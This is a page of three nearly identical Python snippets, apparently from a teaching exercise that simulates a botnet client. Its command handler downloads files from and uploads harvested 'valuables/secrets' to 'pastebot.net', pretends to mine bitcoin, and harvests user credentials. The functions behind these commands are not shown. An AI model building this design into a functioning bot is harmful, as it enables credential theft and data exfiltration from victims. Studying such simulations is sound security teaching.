Beispiel #1
0
             if len(cmd) == 3:
                 p2p_upload(cmd[2])
             else:
                 print("Format is 'p2p upload <filename>'")
     else:
         print("The p2p command requires either 'echo' or 'upload' after it")
 # Download a file (update or data) from pastebot.net
 elif cmd[0].lower() == "download":
     if len(cmd) == 2:
         download_from_pastebot(cmd[1])
     else:
         print("The download command requires a filename afterwards")
 # Upload the valuables/secrets the bot has discovered to pastebot.net
 elif cmd[0].lower() == "upload":
     if len(cmd) == 2:
         upload_valuables_to_pastebot(cmd[1])
     else:
         print("The upload command requires a filename afterwards")
 # Mine for Bitcoins
 # This is far more intensive in the real world, but we'll just pretend ;)
 elif cmd[0].lower() == "mine":
     print("Mining for Bitcoins...")
     bit_addr = bitcoin_mine()
     save_valuable("Bitcoin: %s" % bit_addr)
     print("Mined and found Bitcoin address: %s" % bit_addr)
 # Harvest a user's username and password (userpass)
 elif cmd[0].lower() == "harvest":
     userpass = harvest_user_pass()
     save_valuable("Username/Password: %s %s" % userpass)
     print("Found user pass: %s" % (userpass,))
 # List files and valuables (secrets such as userpass & bitcoins) the bot has
Beispiel #2
0
             else:
                 print("Format is 'p2p upload <filename>'")
     else:
         print(
             "The p2p command requires either 'echo' or 'upload' after it"
         )
 # Download a file (update or data) from pastebot.net
 elif cmd[0].lower() == "download":
     if len(cmd) == 2:
         download_from_pastebot(cmd[1])
     else:
         print("The download command requires a filename afterwards")
 # Upload the valuables/secrets the bot has discovered to pastebot.net
 elif cmd[0].lower() == "upload":
     if len(cmd) == 2:
         upload_valuables_to_pastebot(cmd[1])
     else:
         print("The upload command requires a filename afterwards")
 # Mine for Bitcoins
 # This is far more intensive in the real world, but we'll just pretend ;)
 elif cmd[0].lower() == "mine":
     print("Mining for Bitcoins...")
     bit_addr = bitcoin_mine()
     save_valuable("Bitcoin: %s" % bit_addr)
     print("Mined and found Bitcoin address: %s" % bit_addr)
 # Harvest a user's username and password (userpass)
 elif cmd[0].lower() == "harvest":
     userpass = harvest_user_pass()
     save_valuable("Username/Password: %s %s" % userpass)
     print("Found user pass: %s" % (userpass, ))
 # List files and valuables (secrets such as userpass & bitcoins) the bot has
Beispiel #3
0
         if not fn:
             print(Fore.CYAN + "[-] File Needed\n" + Style.RESET_ALL)
         else:
             break
     print(Fore.GREEN + "[+] File Download Starting" + Style.RESET_ALL)
     download_from_pastebot(fn)
 elif cmd[0].lower() == "upload" and len(cmd) == 1:
     while True:
         fn = input('[+] Enter Filename: ')
         if not fn:
             print(Fore.CYAN + "[-] File Needed\n" + Style.RESET_ALL)
         else:
             break
     print(Fore.GREEN + "[+] " + "File Upload Starting" +
           Style.RESET_ALL)
     upload_valuables_to_pastebot(fn)
 elif cmd[0].lower() == "mine" and len(cmd) == 1:
     print(Fore.GREEN + "[+] " + "Bitcoin Mining Starting" +
           Style.RESET_ALL)
     bit_addr = bitcoin_mine()
     save_valuable("Bitcoin: %s" % bit_addr)
     print(Fore.GREEN + "[+] Mined and found Bitcoin address: " +
           str(bit_addr) + "\n" + Style.RESET_ALL)
 elif cmd[0].lower() == "harvest" and len(cmd) == 1:
     print(Fore.GREEN + "[+] " + "Harvesting User Credentials Started" +
           Style.RESET_ALL)
     userpass = harvest_user_pass()
     save_valuable("Username/Password: %s %s" % userpass)
     print(Fore.GREEN + "[+] Found credentials %s" % (userpass, ) +
           "\n" + Style.RESET_ALL)
 elif cmd[0].lower() == "list" and len(cmd) == 1: